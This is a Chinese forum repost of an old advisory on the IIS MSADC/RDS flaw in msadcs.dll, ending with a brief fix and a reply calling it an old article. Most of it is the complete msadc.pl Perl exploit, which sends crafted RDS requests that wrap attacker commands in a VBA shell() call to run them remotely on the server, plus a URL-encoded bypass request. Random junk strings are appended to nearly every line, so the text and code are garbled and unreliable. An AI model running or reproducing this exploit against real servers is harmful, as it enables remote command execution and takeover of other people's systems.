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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ib#rT{e  
Hg<aU*o;  
涉及程序: nW"O+s3  
Microsoft NT server VevG 64o  
K-)!d$$   
描述: D_0sXIbg  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ybqmPT'|_  
)W>$_QxbN  
详细: T#i;=NP"  
如果你没有时间读详细内容的话,就删除: x {Utf$|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  nOd;Zw  
有关的安全问题就没有了。 XHj%U  
M!5=3>Z  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 X-fWdoN @-  
8s2y!pn7Q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 U5wh( vi  
关于利用ODBC远程漏洞的描述,请参看: O/FI>RT\H  
[j5+PV  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NK/y,f6  
Yj>4*C9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a>W++8t1 ;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "_\"S  
6vAZLNG3  
这里不再论述。 X/cb1#  
BJb,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &V$cwB  
h&CZN !  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 2ua!<^,  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %(p9AE  
*EvW: <  
)mf|3/o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" l7jen=(Zb;  
tc[Ld#  
#!perl )W p7e51  
# } % Ie  
# MSADC/RDS 'usage' (aka exploit) script 89^g$ ac  
# COu5Tu^  
# by rain.forest.puppy xWXLk )A  
# @ Do.Wgt  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O50<h O]l  
# beta test and find errors! _b&26!gl  
1uN;JN `_  
use Socket; use Getopt::Std; (}6\_k[}m  
getopts("e:vd:h:XR", \%args); MnqT?Cc4$j  
_q#pEv  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; EjFpQ|-L|  
Vm\zLWNB  
if (!defined $args{h} && !defined $args{R}) { P?f${ t+  
print qq~ hBnUpYec  
Usage: msadc.pl -h <host> { -d <delay> -X -v } g[1>|Ax`'  
-h <host> = host you want to scan (ip or domain) aReJ@  
-d <seconds> = delay between calls, default 1 second 0C%IdV%CU  
-X = dump Index Server path table, if available lSaX!${R'T  
-v = verbose XXn3K BIf  
-e = external dictionary file for step 5 #J3o~,t<  
\P+^BG!  
Or a -R will resume a command session -*KKrte  
$%\6"P/64  
~; exit;} XZ]ji9'  
!;(Wm6~*ad  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; h[iO'Vq  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} kN1R8|pv  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "*D9.LyM  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {+_p?8X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} g$#A'Du  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~mt{j7  
48^C+#Jbc  
if (!defined $args{R}){ $ret = &has_msadc; r'#!w3*Cy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} O.X;w<F/V  
u28$V]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \3^V-/SJf  
. "cmd /c "; ],0I`!\  
$in=<STDIN>; chomp $in; cL*oO@I&_  
$command="cmd /c " . $in ; R/"-r^j  
;f[##=tm  
if (defined $args{R}) {&load; exit;} n.8870.BW  
ejyx[CF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9q$^x/z!  
&try_btcustmr; EGqu-WBS  
z-kv{y*Hu  
print "\nStep 2: Trying to make our own DSN..."; C=r`\W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; X41Qkf{  
 <a $!S  
print "\nStep 3: Trying known DSNs..."; beikzuC  
&known_dsn; H!7?#tRU  
zn^7#$fC  
print "\nStep 4: Trying known .mdbs..."; +`gU{e,p  
&known_mdb; /{hT3ncb  
~<<32t'S:  
if (defined $args{e}){ R[jFB 7dd  
print "\nStep 5: Trying dictionary of DSN names..."; :Bt,.uN C  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0Yq_B+IC  
eL"'-d+]  
print "Sorry Charley...maybe next time?\n"; _F[a2PE2+  
exit; 1G12FV>M  
@fmp2!?6  
############################################################################## aW dI  
lJ=EP.T  
sub sendraw { # ripped and modded from whisker /cx'(AT  
sleep($delay); # it's a DoS on the server! At least on mine... !y~nsy:&7x  
my ($pstr)=@_; * bYU=RS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `ql8y'  
die("Socket problems\n"); ]5QXiF8`  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^_\m@   
select(S); $|=1; `lOW7Z}  
print $pstr; my @in=<S>; VT4 >6u}  
select(STDOUT); close(S); E"p _!!1  
return @in; \.iejB  
} else { die("Can't connect...\n"); }} p<'pqf  
k"gm;,`  
############################################################################## -f ~1Id  
"#gKI/[qxq  
sub make_header { # make the HTTP request BaI-ve  
my $msadc=<<EOT oKGF'y?A>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Ru#pJb(R  
User-Agent: ACTIVEDATA mD% qDKI  
Host: $ip C.#Ha-@uz  
Content-Length: $clen ]?T^tJ  
Connection: Keep-Alive Hpz1Iy @  
ZG1TR F "  
ADCClientVersion:01.06 6l2O>V  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 QQN6\(;-  
PR!0=E*}  
--!ADM!ROX!YOUR!WORLD! +ug2p;<B  
Content-Type: application/x-varg k=kkF"  
Content-Length: $reqlen rp<~=X  
G7`mK}J7  
EOT J5jI/P  
; $msadc=~s/\n/\r\n/g; h(AL\9{=}  
return $msadc;} R"HV|Dm|m  
`u_MdB}<x;  
############################################################################## &F#eYEuy  
eQ)*jeD  
sub make_req { # make the RDS request +RM!j9Rq  
my ($switch, $p1, $p2)=@_; MHt ~ZVH  
my $req=""; my $t1, $t2, $query, $dsn; $v2t6wS,"  
jf1GYwuW*  
if ($switch==1){ # this is the btcustmr.mdb query PE6,9i0ee  
$query="Select * from Customers where City=" . make_shell(); 2^`k6V!  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _~yd  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} EX!`Zejf  
9pj6`5Zn@6  
elsif ($switch==2){ # this is general make table query u@:[ dbJ  
$query="create table AZZ (B int, C varchar(10))"; h {Jio>  
$dsn="$p1";} $Lbamg->E  
jPz1W4pk  
elsif ($switch==3){ # this is general exploit table query >#&25,Q  
$query="select * from AZZ where C=" . make_shell(); N.Q}.(N0  
$dsn="$p1";} 6 F39'  
#+_=(J  
elsif ($switch==4){ # attempt to hork file info from index server iuXXFuh  
$query="select path from scope()"; T zS?WYF  
$dsn="Provider=MSIDXS;";} ,d lq2  
0/|Ax-dK  
elsif ($switch==5){ # bad query sl@>GbnS  
$query="select"; qhTVsZ:{C  
$dsn="$p1";} XABP}|aWK  
T YR \K  
$t1= make_unicode($query); wBw(T1VN  
$t2= make_unicode($dsn); h,&{m*q&  
$req = "\x02\x00\x03\x00"; 4Ng:7C2  
$req.= "\x08\x00" . pack ("S1", length($t1)); V8WSJ=-&  
$req.= "\x00\x00" . $t1 ; Z*b l J5YC  
$req.= "\x08\x00" . pack ("S1", length($t2)); B>cT <B  
$req.= "\x00\x00" . $t2 ; [+W<;iep  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; X-" +nThMn  
return $req;} #/H2p`5  
icIWv  
############################################################################## C .B=E"e  
^yl}/OD  
sub make_shell { # this makes the shell() statement /%jX=S.5h<  
return "'|shell(\"$command\")|'";} ;K>'Gl  
:eL[nyQr  
############################################################################## U}Puq5[ ?  
pZ*%zt]-a  
sub make_unicode { # quick little function to convert to unicode HrZX~JnTmf  
my ($in)=@_; my $out; :|ah u  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6XCFL-o-  
return $out;} B:UM2Jl   
KlS#f  
############################################################################## GB}=  
Fkpaou  
sub rdo_success { # checks for RDO return success (this is kludge) 0:I<TJ~P  
my (@in) = @_; my $base=content_start(@in); #ucb  
if($in[$base]=~/multipart\/mixed/){ jy>?+hm?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8b-mW>xsA  
return 0;} }:$ot18  
$'eY-U8q  
############################################################################## -w"lW7  
:r "G Z  
sub make_dsn { # this makes a DSN for us !'[?cEog  
my @drives=("c","d","e","f"); ]o=ON95ja  
print "\nMaking DSN: "; O x`K7$)  
foreach $drive (@drives) { Sa@'?ApH  
print "$drive: "; L[nDjQn"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {' 0#<Z  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?VRsgV'$  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `J03t\  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; nq>F_h  
return 0 if $2 eq "404"; # not found/doesn't exist $~1mKx]]  
if($2 eq "200") { Val"vUZ  
foreach $line (@results) { I7=A!C"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Np$&8v+en  
} return 0;} /uR/,R++  
1 \aTA,  
############################################################################## dXM8iP  
PrfG  
sub verify_exists { 0n kC%j  
my ($page)=@_; )'RaMo` 4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); y4IQa.F  
return $results[0];} j6k"%QHf  
uH'?Ikx"  
############################################################################## 8L_OH  
S|@/"?DC  
sub try_btcustmr { N`?/kubD  
my @drives=("c","d","e","f"); 0T(+z)Ki  
my @dirs=("winnt","winnt35","winnt351","win","windows"); id8QagJ  
,3-^EfccW  
foreach $dir (@dirs) { @b.,pwZF  
print "$dir -> "; # fun status so you can see progress 4]p#9`j  
foreach $drive (@drives) { .GNyA DQp  
print "$drive: "; # ditto 'PFjZGaKR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; q`L )^In"  
$reqlenlen=length( "$reqlen" ); Qmo}esb'(  
$clen= 206 + $reqlenlen + $reqlen; #QcRN?s  
GRofOJ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 2&]LZ:(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} MXEI/mDYK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} T=sAy/1oR  
`T1bY9O.  
############################################################################## =6=:OId  
's5rl  
sub odbc_error { ~QPTs1Vk8  
my (@in)=@_; my $base; B B69U  
my $base = content_start(@in); -}!mi V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this OX]P;#4tU  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^=5y;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :WQlpLn  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,~1k:>njY~  
return $in[$base+4].$in[$base+5].$in[$base+6];} > cWE@P  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]e"!ZR?XJ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,!%E\`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} cqs.[0 z#B  
7 wEv`5  
############################################################################## puWMgvv  
TKGaGMx6@  
sub verbose { 'yA/sZ  
my ($in)=@_; V'Kied+  
return if !$verbose; ZPb30M0  
print STDOUT "\n$in\n";} m]fUV8U  
`\;Z&jlpT  
############################################################################## -+Yark  
{~Jk(c~I  
sub save { 8{i}^.p  
my ($p1, $p2, $p3, $p4)=@_; ?r8hl.Z>  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; X?< L<:.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Qyx~={ .C~  
close OUT;} @b^$h:H  
4L{]!dox  
############################################################################## > 3(,s^  
gg%)#0Zi  
sub load { ^_P?EJ,)`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Qf ~$9?z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); z;<~j=lP  
@p=<IN>; close(IN); &Q}%b7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); PO6yE r  
$target= inet_aton($ip) || die("inet_aton problems"); lfC]!=2%~8  
print "Resuming to $ip ..."; <?!'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; jg{2Sxf!c  
if($p[1]==1) { i(cKg&+ktd  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; c@}t@k  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >ZG$8y 'j  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); qs bo"29  
if (rdo_success(@results)){print "Success!\n";} 9=T;Dxn  
else { print "failed\n"; verbose(odbc_error(@results));}} w4TQ4 Y  
elsif ($p[1]==3){ '2<r{  
if(run_query("$p[3]")){ W  
print "Success!\n";} else { print "failed\n"; }} &$_!S!Sa/  
elsif ($p[1]==4){ +By'6?22  
if(run_query($drvst . "$p[3]")){ <)(W7#Ks  
print "Success!\n"; } else { print "failed\n"; }} C|3Xz[k{  
exit;} ZxT E(BQv  
BQg3+w:>  
############################################################################## =4SXntU!e  
9609  
sub create_table { =*lBJ-L  
my ($in)=@_; CyYr5 Dz  
$reqlen=length( make_req(2,$in,"") ) - 28; S1y6G/e9  
$reqlenlen=length( "$reqlen" ); Ny/eYF#  
$clen= 206 + $reqlenlen + $reqlen; v3M$UiN,:  
my @results=sendraw(make_header() . make_req(2,$in,"")); . 43cI(  
return 1 if rdo_success(@results); w"dKOdY  
my $temp= odbc_error(@results); verbose($temp); D^.  c:  
return 1 if $temp=~/Table 'AZZ' already exists/; a*.#Zgy:lK  
return 0;} 7[qL~BT+  
N5sVRL"7  
############################################################################## GxG~J4  
Tjrb.+cua  
sub known_dsn { G&1bhi52  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "uIaKb  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", c};%VB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Z/?{{}H+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \( {'Xo >(  
U1) Zh-aR  
foreach $dSn (@dsns) { (y.N-I,  
print "."; +BL46 Bq  
next if (!is_access("DSN=$dSn")); X"_ ^^d-  
if(create_table("DSN=$dSn")){ "zd_eC5  
print "$dSn successful\n"; {en'8kS  
if(run_query("DSN=$dSn")){ HSRO gBNI:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &b5(Su  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5~IdWwG*w  
u|Mx}  
############################################################################## z rSPa\M  
w@cW`PlF  
sub is_access { x:!s+q` s  
my ($in)=@_; #*_!Xc9f  
$reqlen=length( make_req(5,$in,"") ) - 28; ^w~B]*A :"  
$reqlenlen=length( "$reqlen" ); H~Vf;k>  
$clen= 206 + $reqlenlen + $reqlen; 6V JudNA  
my @results=sendraw(make_header() . make_req(5,$in,"")); $'Mf$h  
my $temp= odbc_error(@results); ;2 &"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); breF,d$  
return 0;} LAf#Rco4  
O=}Rp 1  
############################################################################## 1a{r1([)  
B^P&+,\[}  
sub run_query { &*+$38XE^  
my ($in)=@_; f ?k0(rl  
$reqlen=length( make_req(3,$in,"") ) - 28; h L [eA  
$reqlenlen=length( "$reqlen" ); W>d)(  
$clen= 206 + $reqlenlen + $reqlen; %ZWt 45A  
my @results=sendraw(make_header() . make_req(3,$in,"")); 9AB U^ig  
return 1 if rdo_success(@results); ^-k"gLg  
my $temp= odbc_error(@results); verbose($temp); ^OWG9`p+  
return 0;} h`1<+1J9  
Fl=H5HR  
############################################################################## U[?_|=~7  
h^tCF=S  
sub known_mdb { a6DR' BC  
my @drives=("c","d","e","f","g"); xLoQ0rt 6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X7L:cVBg  
my $dir, $drive, $mdb; [I4M K%YQ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~d]v{<3  
SU~.baP?  
# this is sparse, because I don't know of many ~i%=1&K&`  
my @sysmdbs=( "\\catroot\\icatalog.mdb", QWfSm^ t  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {P~rf&Ee  
"\\system32\\certmdb.mdb", >rEZ$h  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% naf ~#==vc  
ySO\9#Ho  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9c)#j&2?H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;n(f?RO3X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Fk3(( n=  
"\\cfusion\\cfapps\\security\\realm_.mdb", P%e7c,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", = N*Jis  
"\\cfusion\\database\\cfexamples.mdb", * CR#D}F  
"\\cfusion\\database\\cfsnippets.mdb", N?vb^?  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5<ruN11G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", k B]`py!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", L7 }nmP>aR  
"\\cfusion\\database\\smpolicy.mdb", ?c RF;!o"  
"\\cfusion\\database\cypress.mdb", Hm'"I!jyO  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %w65)BFQ  
"\\website\\cgi-win\\dbsample.mdb", L>sLb(2\i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <6 Rec^QF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ANu>*  
); #these are just [h;I)ug[o(  
foreach $drive (@drives) { \~%+)a%%  
foreach $dir (@dirs){ .@OQ$ D<  
foreach $mdb (@sysmdbs) { Pa3-0dUr  
print "."; !9/`PcNIpy  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Q NMZR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; <>\|hno}  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T@yQOD7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; BkXv4|UE  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4DCh+|r  
Zc~7R`v7}  
foreach $drive (@drives) { OU,FU@6,7w  
foreach $mdb (@mdbs) { X<;.  
print "."; \]Ah=`  
if(create_table($drv . $drive . $dir . $mdb)){ S^p b9~  
print "\n" . $drive . $dir . $mdb . " successful\n"; G:$kGzhJ  
if(run_query($drv . $drive . $dir . $mdb)){ 15j5F5P   
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; VR>!Ch  
} else { print "Something's borked. Use verbose next time\n"; }}}} t(*n[7e  
} %[*-aA  
0@zJa;z'  
############################################################################## ?(=|!`IoO  
:gwmk9LZ  
sub hork_idx { R'c dEoy  
print "\nAttempting to dump Index Server tables...\n"; M+ %O-B  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; (rBsh6@)  
$reqlen=length( make_req(4,"","") ) - 28; Zio! j%G  
$reqlenlen=length( "$reqlen" ); #2_FM!e  
$clen= 206 + $reqlenlen + $reqlen; u5}:[4N%I  
my @results=sendraw2(make_header() . make_req(4,"","")); 06.%9R{  
if (rdo_success(@results)){ N+c|0  
my $max=@results; my $c; my %d; q%;cu1^"M  
for($c=19; $c<$max; $c++){ qK%N{ro[{?  
$results[$c]=~s/\x00//g; n&;JW6VQS  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G=17]>U  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ; D<k  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [#gm[@d,  
$d{"$1$2"}="";} ?l6yLn5si^  
foreach $c (keys %d){ print "$c\n"; } *>=tmW;%  
} else {print "Index server doesn't seem to be installed.\n"; }} }}TPu8Rl  
/8qR7Z^HZ  
############################################################################## Wu$ryX  
Z. gb'  
sub dsn_dict { EWDsBNZaI  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); PM[W7g T  
while(<IN>){ +-'F]?DN'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; R|qrK  
next if (!is_access("DSN=$dSn")); [m:cO6DM,  
if(create_table("DSN=$dSn")){ _1gNU]"  
print "$dSn successful\n"; WMtFXkf6"  
if(run_query("DSN=$dSn")){ aF?_V!#cT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vf3)T;X>  
print "Something's borked. Use verbose next time\n";}}} geyCS3 :p  
print "\n"; close(IN);} Lbz/M _G  
;F @Sz/  
############################################################################## Gxe)5,G  
i`F5  
sub sendraw2 { # ripped and modded from whisker ZiuD0#"!  
sleep($delay); # it's a DoS on the server! At least on mine... C%yH}T\s  
my ($pstr)=@_; o4FHR+u<M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,byc!P  
die("Socket problems\n"); <<d#  
if(connect(S,pack "SnA4x8",2,80,$target)){ AQjv? 4)T  
print "Connected. Getting data"; wGLMLbj5  
open(OUT,">raw.out"); my @in; <T[LugI  
select(S); $|=1; print $pstr; (9%?ik  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} R&W%E%uj  
close(OUT); select(STDOUT); close(S); return @in; 3 twA5)v  
} else { die("Can't connect...\n"); }} @~hy'6/  
9]=J+ (M  
############################################################################## jq)Bj#'7  
n+=qT$w)  
sub content_start { # this will take in the server headers $;Fx Zkp  
my (@in)=@_; my $c; Xf&YcHo  
for ($c=1;$c<500;$c++) { Gn 9oInY1  
if($in[$c] =~/^\x0d\x0a/){ eWv:wNouk  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QoxYzln  
else { return $c+1; }}} Wd;t(5Xl  
return -1;} # it should never get here actually /a32QuS  
7(o`>7x*  
############################################################################## D@uVb4uK  
moxmQ>xoH  
sub funky { %l&oRBC  
my (@in)=@_; my $error=odbc_error(@in); k5-4^  
if($error=~/ADO could not find the specified provider/){ OlyW/hd  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~F-knEvL  
exit;} F?2UHcs  
if($error=~/A Handler is required/){ 0a:oC(Ak  
print "\nServer has custom handler filters (they most likely are patched)\n"; `:3nF'  
exit;} "G>d8GbIh  
if($error=~/specified Handler has denied Access/){ n! 5(Z5=  
print "\nServer has custom handler filters (they most likely are patched)\n"; A-4;$ QSm  
exit;}} H3$py|}lL  
A!!!7tj  
############################################################################## xT&~{,9  
.\$A7DD+A  
sub has_msadc { O1o>eDE5A  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `G!HGzVx;j  
my $base=content_start(@results); 26aDPTP$<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); YNV, dKB  
return 0;} }6a}8EyFP  
b EcN_7  
######################## *ilh/Hd>  
)I*(yUj  
eV}"L:bgJ  
解决方案: B \R X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ShC$ue?Q  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 grE(8M  
>#:SJ?)`T  
拿出来充数 哈哈
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